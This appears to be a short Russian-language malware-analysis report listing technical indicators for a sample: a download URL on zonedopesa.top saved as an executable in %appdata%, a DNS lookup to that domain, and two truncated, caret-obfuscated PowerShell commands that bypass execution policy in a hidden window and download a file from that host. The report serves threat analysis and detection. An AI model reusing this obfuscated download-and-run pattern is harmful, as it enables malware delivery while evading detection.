Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "POWe^rsHel^l.^E^xe -^EXecu^Tio^nPoliC^y ^BYPaS^s ^-^NoPRo^F^IL^E^ -^w^iNd^o^w^s^T^Yl^e HidDeN (Ne^w^-^OBjecT sy^St^em.^nE^t^.w^ebcLIen^T^)^.dO^wn^loAD^F^ILe('http://www.zonedopes...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "POWe^rsHel^l.^E^xe -^EXecu^Tio^nPoliC^y ^BYPaS^s ^-^NoPRo^F^IL^E^ -^w^iNd^o^w^s^T^Yl^e HidDeN (Ne^w^-^OBjecT sy^St^em.^nE^t^.w^ebcLIen^T^)^.dO^wn^loAD^F^ILe('http://www.zonedopes...' (со скрытым окном)